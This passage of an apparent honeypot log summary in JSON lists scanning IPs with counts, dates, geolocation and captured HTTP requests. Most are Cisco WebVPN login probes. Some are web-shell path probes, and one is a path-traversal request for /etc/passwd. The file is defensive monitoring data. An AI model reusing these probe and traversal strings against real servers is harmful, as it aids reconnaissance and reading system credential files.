        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.87.124.46": {
      "attack_count": 14,
      "first_seen": "2026-05-27T10:52:01.859Z",
      "last_seen": "2026-05-28T01:15:06.699Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "62.106.69.89": {
      "attack_count": 14,
      "first_seen": "2026-05-26T08:23:57.534Z",
      "last_seen": "2026-05-27T08:19:55.670Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Woodbury Heights",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "64.62.156.182": {
      "attack_count": 13,
      "first_seen": "2026-05-18T07:43:57.038Z",
      "last_seen": "2026-05-18T07:51:41.541Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "146.70.187.30": {
      "attack_count": 12,
      "first_seen": "2026-05-05T08:42:21.069Z",
      "last_seen": "2026-05-21T01:26:21.300Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "173.249.253.164": {
      "attack_count": 12,
      "first_seen": "2026-05-11T09:48:23.460Z",
      "last_seen": "2026-05-29T19:31:00.745Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.160.24.207": {
      "attack_count": 12,
      "first_seen": "2026-05-04T10:04:41.904Z",
      "last_seen": "2026-05-31T03:47:16.944Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30671,
      "as_org": "Data Bridge Limited"
    },
    "23.234.73.164": {
      "attack_count": 12,
      "first_seen": "2026-05-05T19:24:53.112Z",
      "last_seen": "2026-05-30T10:51:26.189Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.93.68": {
      "attack_count": 12,
      "first_seen": "2026-05-03T06:07:13.436Z",
      "last_seen": "2026-05-17T05:30:55.099Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.114": {
      "attack_count": 12,
      "first_seen": "2026-05-14T06:45:42.347Z",
      "last_seen": "2026-05-30T11:53:07.313Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "87.249.134.35": {
      "attack_count": 12,
      "first_seen": "2026-05-02T03:42:19.442Z",
      "last_seen": "2026-05-23T08:38:10.548Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "192.42.116.20": {
      "attack_count": 11,
      "first_seen": "2026-05-24T01:21:22.331Z",
      "last_seen": "2026-05-24T01:21:36.440Z",
      "ports": [],
      "event_types": [],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "123.160.223.75": {
      "attack_count": 9,
      "first_seen": "2026-05-08T12:27:00.930Z",
      "last_seen": "2026-05-30T03:22:39.877Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet"
    },
    "138.199.43.72": {
      "attack_count": 9,
      "first_seen": "2026-05-09T03:04:02.114Z",
      "last_seen": "2026-05-26T07:56:04.424Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "146.70.166.165": {
      "attack_count": 9,
      "first_seen": "2026-05-04T10:21:17.975Z",
      "last_seen": "2026-05-17T03:37:27.505Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "185.141.119.164": {
      "attack_count": 9,
      "first_seen": "2026-05-05T16:12:28.828Z",
      "last_seen": "2026-05-23T17:58:07.830Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Detroit",
      "asn": 207990,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "206.123.144.13": {
      "attack_count": 9,
      "first_seen": "2026-05-03T15:18:06.644Z",
      "last_seen": "2026-05-10T09:34:07.254Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 201813,
      "as_org": "Contrust Solutions S.R.L."
    },
    "23.234.100.195": {
      "attack_count": 9,
      "first_seen": "2026-05-02T02:44:01.498Z",
      "last_seen": "2026-05-31T04:04:53.414Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.68.65": {
      "attack_count": 9,
      "first_seen": "2026-05-02T04:06:32.814Z",
      "last_seen": "2026-05-07T10:06:57.515Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.98.203": {
      "attack_count": 9,
      "first_seen": "2026-05-08T15:16:16.519Z",
      "last_seen": "2026-05-10T02:46:48.077Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.99.164": {
      "attack_count": 9,
      "first_seen": "2026-05-08T21:16:38.425Z",
      "last_seen": "2026-05-24T04:05:47.728Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.220.100.246": {
      "attack_count": 8,
      "first_seen": "2026-05-24T01:24:24.110Z",
      "last_seen": "2026-05-24T01:24:36.541Z",
      "ports": [],
      "event_types": [
        "\"GET /recordings/SecureShell.php?123 HTTP/1.1\" 404 -",
        "\"GET /recordings/mo/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/s.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/s.php?1xx HTTP/1.1\" 404 -",
        "\"GET /recordings/scan.php?123 HTTP/1.1\" 404 -",
        "\"GET /recordings/too.php?123 HTTP/1.1\" 404 -",
        "\"GET /recordings/webadmin.php?123 HTTP/1.1\" 404 -",
        "\"GET /recordings/xnxx/config.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 205100,
      "as_org": "F3 Netze e.V."
    },
    "141.133.6.111": {
      "attack_count": 7,
      "first_seen": "2026-05-27T01:05:54.323Z",
      "last_seen": "2026-05-27T01:06:07.962Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cuero",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "153.80.144.35": {
      "attack_count": 7,
      "first_seen": "2026-05-30T01:56:38.017Z",
      "last_seen": "2026-05-30T01:56:50.679Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Watonga",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "156.233.105.102": {
      "attack_count": 7,
      "first_seen": "2026-05-29T08:13:26.698Z",
      "last_seen": "2026-05-29T08:13:42.638Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "156.233.105.190": {
      "attack_count": 7,
      "first_seen": "2026-05-26T04:52:59.461Z",
      "last_seen": "2026-05-26T04:53:12.940Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.159.127.105": {
      "attack_count": 7,
      "first_seen": "2026-05-27T23:33:17.355Z",
      "last_seen": "2026-05-27T23:33:27.250Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "77.83.4.192": {
      "attack_count": 7,
      "first_seen": "2026-05-26T19:08:55.575Z",
      "last_seen": "2026-05-26T19:09:06.065Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "103.251.26.66": {
      "attack_count": 6,
      "first_seen": "2026-05-04T19:41:06.915Z",
      "last_seen": "2026-05-05T06:53:06.550Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "123.160.223.74": {
      "attack_count": 6,
      "first_seen": "2026-05-03T07:52:07.254Z",
      "last_seen": "2026-05-26T16:24:13.128Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet"
    },
    "173.249.252.74": {
      "attack_count": 6,
      "first_seen": "2026-05-05T08:57:11.473Z",
      "last_seen": "2026-05-08T06:54:08.148Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.83.148": {
      "attack_count": 6,
      "first_seen": "2026-05-08T11:37:36.836Z",
      "last_seen": "2026-05-10T10:26:01.153Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.92.66": {
      "attack_count": 6,
      "first_seen": "2026-05-05T11:37:15.129Z",
      "last_seen": "2026-05-07T09:08:38.919Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "66.132.195.80": {
      "attack_count": 6,
      "first_seen": "2026-05-25T14:00:46.282Z",
      "last_seen": "2026-05-25T14:01:00.493Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "37.77.150.10": {
      "attack_count": 4,
      "first_seen": "2026-05-05T19:54:26.452Z",
      "last_seen": "2026-05-06T01:57:10.064Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /RDWeb/Pages/en-US/login.aspx HTTP/1.1\" 404 -",
        "\"GET /remote/login HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 198953,
      "as_org": "Proton66 OOO"
    },
    "45.156.128.130": {
      "attack_count": 4,
      "first_seen": "2026-05-02T04:41:20.273Z",
      "last_seen": "2026-05-26T16:47:17.527Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A."
    },
    "100.31.213.204": {
      "attack_count": 3,
      "first_seen": "2026-05-16T01:00:08.565Z",
      "last_seen": "2026-05-28T01:01:59.620Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "103.81.231.66": {
      "attack_count": 3,
      "first_seen": "2026-05-06T00:11:26.033Z",
      "last_seen": "2026-05-06T00:11:35.039Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.165.157": {
      "attack_count": 3,
      "first_seen": "2026-05-04T22:39:34.616Z",
      "last_seen": "2026-05-04T22:39:44.023Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.117.66": {
      "attack_count": 3,
      "first_seen": "2026-05-05T13:58:43.327Z",
      "last_seen": "2026-05-05T13:58:53.115Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.71.73": {
      "attack_count": 3,
      "first_seen": "2026-05-05T12:02:34.092Z",
      "last_seen": "2026-05-05T12:02:42.302Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.94.192": {
      "attack_count": 3,
      "first_seen": "2026-05-05T23:02:14.223Z",
      "last_seen": "2026-05-05T23:02:24.540Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "13.221.248.65": {
      "attack_count": 2,
      "first_seen": "2026-05-23T00:56:12.412Z",
      "last_seen": "2026-05-23T00:56:15.413Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "185.220.101.167": {
      "attack_count": 2,
      "first_seen": "2026-05-24T01:25:08.087Z",
      "last_seen": "2026-05-24T01:25:09.814Z",
      "ports": [],
      "event_types": [
        "\"GET /vtigercrm/Zizo.php?z1x HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/zizo.php?123 HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg an der Havel",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "45.10.156.210": {
      "attack_count": 2,
      "first_seen": "2026-05-20T08:28:35.985Z",
      "last_seen": "2026-05-20T08:28:36.719Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "64.62.156.114": {
      "attack_count": 2,
      "first_seen": "2026-05-29T07:59:08.809Z",
      "last_seen": "2026-05-29T08:01:31.184Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.197.189": {
      "attack_count": 2,
      "first_seen": "2026-05-07T10:44:11.836Z",
      "last_seen": "2026-05-07T10:45:24.659Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.191": {
      "attack_count": 2,
      "first_seen": "2026-05-02T08:01:09.088Z",
      "last_seen": "2026-05-02T08:03:26.023Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.194": {
      "attack_count": 2,
      "first_seen": "2026-05-25T10:19:00.462Z",
      "last_seen": "2026-05-25T10:21:08.011Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "91.196.152.251": {
      "attack_count": 2,
      "first_seen": "2026-05-08T19:42:03.202Z",
      "last_seen": "2026-05-29T09:56:28.506Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "13.221.117.222": {
      "attack_count": 1,
      "first_seen": "2026-05-18T00:50:31.753Z",
      "last_seen": "2026-05-18T00:50:31.753Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "5.187.35.26": {
      "attack_count": 1,
      "first_seen": "2026-05-04T14:42:04.342Z",
      "last_seen": "2026-05-04T14:42:04.342Z",
      "ports": [],
      "event_types": [
        "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 206264,
      "as_org": "Amarutu Technology Ltd"
    },
    "64.62.197.194": {
      "attack_count": 1,
      "first_seen": "2026-05-07T10:45:46.456Z",
      "last_seen": "2026-05-07T10:45:46.456Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "91.230.168.181": {
      "attack_count": 1,
      "first_seen": "2026-05-10T11:50:18.383Z",
      "last_seen": "2026-05-10T11:50:18.383Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
